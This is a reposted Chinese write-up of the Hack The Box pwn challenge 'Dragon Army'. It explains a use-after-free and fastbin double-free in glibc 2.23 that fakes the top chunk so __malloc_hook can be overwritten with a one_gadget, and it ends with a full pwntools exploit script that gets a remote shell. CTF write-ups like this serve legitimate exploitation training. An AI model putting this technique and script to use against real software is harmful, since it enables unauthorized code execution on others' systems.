HTB pwn Dragon Army

2024-02-24 10:36
文章标签 htb pwn dragon army

本文主要是介绍HTB pwn Dragon Army,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

逆向分析

在这里插入图片描述
程序使用了alloca函数扩大了栈区
在这里插入图片描述
此处可以泄露libc的地址
程序主要功能在下面

  while ( 1 ){while ( 1 ){fflush(stdin);fflush(_bss_start);fprintf(_bss_start, "\n%sDragons: [%d/%d]%s\n\n", "\x1B[1;34m", v5, 13LL, "\x1B[1;37m");fwrite(&unk_20C8, 1uLL, 0xEFuLL, _bss_start);fflush(stdin);fflush(_bss_start);num = read_num();if ( num == 1 )break;if ( num != 2 ){fwrite("\nFarewell..", 1uLL, 0xBuLL, _bss_start);exit(1312);}fwrite("\nDragon of choice: ", 1uLL, 0x13uLL, _bss_start);fflush(stdin);fflush(_bss_start);size = read_num();if ( size >= v5 ){fprintf(_bss_start, "\n%s[-] Unavailable dragon!%s\n", "\x1B[1;31m", "\x1B[1;34m");}else{free(s[size]);//存在UAFfprintf(_bss_start, "\n%s[+] The dragon flies away!\n%s", "\x1B[1;32m", "\x1B[1;34m");}}if ( v5 > 0xC ){fprintf(_bss_start, "\n%s[-] No more summons!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");exit(22);}fwrite("\nDragon's length: ", 1uLL, 0x12uLL, _bss_start);fflush(stdin);fflush(_bss_start);size = read_num();fflush(stdin);fflush(_bss_start);if ( (size > 0x58 || size <= 1) && (size <= 0x68 || size > 0x78) )//关于size为什么要这样设定在下面解释{fprintf(_bss_start, "\n%s[-] Invalid dragon length!%s\n", "\x1B[1;31m", "\x1B[1;34m");}else{v10 = (char *)malloc(size);s[v5] = v10;if ( s[v5] ){fflush(stdin);fflush(_bss_start);fwrite("\nName your dragon: ", 1uLL, 0x13uLL, _bss_start);fflush(stdin);fflush(_bss_start);fgets(s[v5], size, stdin);fflush(stdin);fflush(_bss_start);++v5;}else{fprintf(_bss_start, "\n%s[-] Something went wrong!%s\n\n", "\x1B[1;31m", "\x1B[1;34m");}}

漏洞分析

执行strings libc.so.6 | grep ubuntu
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0(库版本2.23)
在2.23我们熟悉的是利用fastbin UAF 写入malloc_hook上面的fake_fastbin地址然后申请(0x58,0x68]大小的块往malloc_hook写one_shot拿到权限。
但是吧,本题在size上面设置了限制使得我们不能直接一步到位。
那怎么办呢?
其实归根到底中心思想是伪造fastbin块没有变,转换一下思路如果我们可以修改topchunk的地址为malloc_hook附近且保证其大小合法(在malloc_hook - 36就合适)。
因为topchunk地址存在main_arena+96的地方所以我们要利用UAF将一个合法的大小放到main_arena上面
在这里插入图片描述
在这里插入图片描述

summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))

如图通过不断覆写0x61达到目的。

summon(0x58,b'\x00' * 64 + p64(malloc_hook - 36))

接下来把伪造好的块拿出来(main_arena + 0x10)将topchunk改掉。
之后就可以快乐的把malloc_hook申请出来改写了。

解题脚本

from pwn import *
def gd():gdb.attach(p)pause()
def summon(size,data):p.recvuntil(b'>> ')p.sendline(b'1')p.recvuntil(b': ')p.sendline(str(size).encode()) p.recvuntil(b': ')p.sendline(data)
def free(idx):p.recvuntil(b'>> ')p.sendline(b'2')p.recvuntil(b': ')p.sendline(str(idx).encode()) 
#p = process("./da")
p = remote('94.237.53.58',56788)
libc = ELF("./glibc/libc.so.6")
p.recvuntil(b': ')
p.send(b'r3dDr4g3nst1str0f1' + b'a' * 38)
p.recvuntil(b'a' * 38)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x6eab9
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook'] -36
main_arena = libc_base + libc.sym['main_arena']
one_shot = libc_base + 0xe1fa1
summon(0x58,b'a')
summon(0x58,b'a')
free(0)
free(1)
free(0)
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))summon(0x58,b'\x00' * 64 + p64(malloc_hook))
summon(0x48,b'a' * 20 + p64(one_shot))p.interactive()

成功getshell
在这里插入图片描述
在这里插入图片描述

这篇关于HTB pwn Dragon Army的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/741832

相关文章

HTB-You know 0xDiablos

引言 项目概述:HTB的EASY难度 PWN靶机 You know 0xDiablos https://app.hackthebox.com/challenges/106 本文详细解释了溢出payload的结构以及为什么要这样构造,友好的为想要入手PWN的朋友解释了原理技术点涉及: 32位linux逆向、32位程序调用、栈溢出目标与读者:网络安全兴趣爱好者、PWN新手 基本情况 运行看看

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析 hard+sandbox:ptrace 系统调用概述: logger:pstack: [X] 🛰:ly3260344435[X] 🐧:3260344435[X] BiliBili:鱼影信息[X] 公众号:鱼影安全[X] CSDN:落寞的魚丶[X] 知识星球:中职-高职-CTF竞赛[X] 信息安全评估(

HTB-bike(SSTI模版注入)

前言 大家好,我是qmx_07,今天给大家讲解bike靶场 渗透过程 信息搜集 服务器开放了 22 ssh 和 http80端口 Wappalyzer 介绍:Wappalyzer是一种浏览器扩展程序,用于识别正在访问的网站所使用的技术栈和工具,比如使用的web框架,编程语言等 服务器所使用Express框架 发现SSTI模版注入 可以看到这个输入框,用来输出 内容尝试x

HTB-lgnition(curl工具、yakit、 弱口令)

前言 各位师傅大家好,我是qmx_07,今天来讲解lgnition靶机 渗透流程 信息搜集 服务器开放了80 http端口 curl工具 介绍:curl工具是一个用于发送HTTP请求的命令行工具。它支持多种协议,包括HTTP、HTTPS、FTP、SMTP等,并且支持各种常见的操作,如GET、POST、PUT、DELETE等。 -v显示输出与请求和响应相关的详细信息,包括请求头

HTB-Crocodile(FTP和web综合利用)

前言 各位师傅大家好,今天给大家讲解Crocodile靶机 渗透过程 信息搜集 服务器开放了21FTP和80HTTP服务思路:可以尝试 匿名登录FTP 或者 尝试WEB登录后台 FTP匿名登录 通过anonymous 匿名登录到FTP服务器allowed.userlist 和 allowed.usserlist.pass 分别是 账户和密码 Web目录爆破 服务器有

2024年“羊城杯”粤港澳大湾区网络安全大赛 PWN部分

2024年“羊城杯”粤港澳大湾区网络安全大赛 PWN部分 Author:Ns100kUpFrom:极安云科-服务中心Data:2024/08/27Copyright:本内容版权归属极安云科,未经授权不得以任何形式复制、转载、摘编和使用。 培训、环境、资料、考证公众号:Geek极安云科网络安全群:624032112网络系统管理群:223627079 网络建设与运维群:870959

HTB-Mongod(MongoDb数据库)

前言 各位师傅大家好,我是qmx_07,今天给大家讲解Mongod靶场 Mongod 渗透过程 RustScan 介绍:Rustscan是一款用Rust语言开发的高速端口扫描器,它可以在3秒内扫描所有65535个端口,并支持脚本引擎和自适应学习功能,并且可以和nmap进行联动可以简单理解成 多线程的nmap扫描器 RustScan安装: 1.创建文件夹mkdir Rustsca

polarctf靶场[WEB]debudao、Dragon、审计

目录: [web]debudao 考点:前端 [web]Dragon 考点:cookie值 [web]审计 考点:php代码审计、传参 常见的MD5碰撞:md5值为0e开头_md5 0e开头网址:  题目 [web]debudao 考点:前端 先看源代码 内心os:哇好轻松就可以得到flag辣 然后.........神金,欺骗我感情🙄 然后👇伤心

HTB-Redeemer(redis)

前言 各位师傅大家好,我是qmx_07,今天给大家讲解Redeemer这台机器,主要是对redis组件进行渗透,了解思路 渗透过程 更改一下 目录结构,先写 渗透过程,再写 题解 信息搜集 通过nmap扫描 发现开启了6379 redis服务,尝试连接注意:nmap 扫描 可以先确定端口开放情况,在进行系统版本扫描,这样会快一些 连接redis数据库 使用redis-cl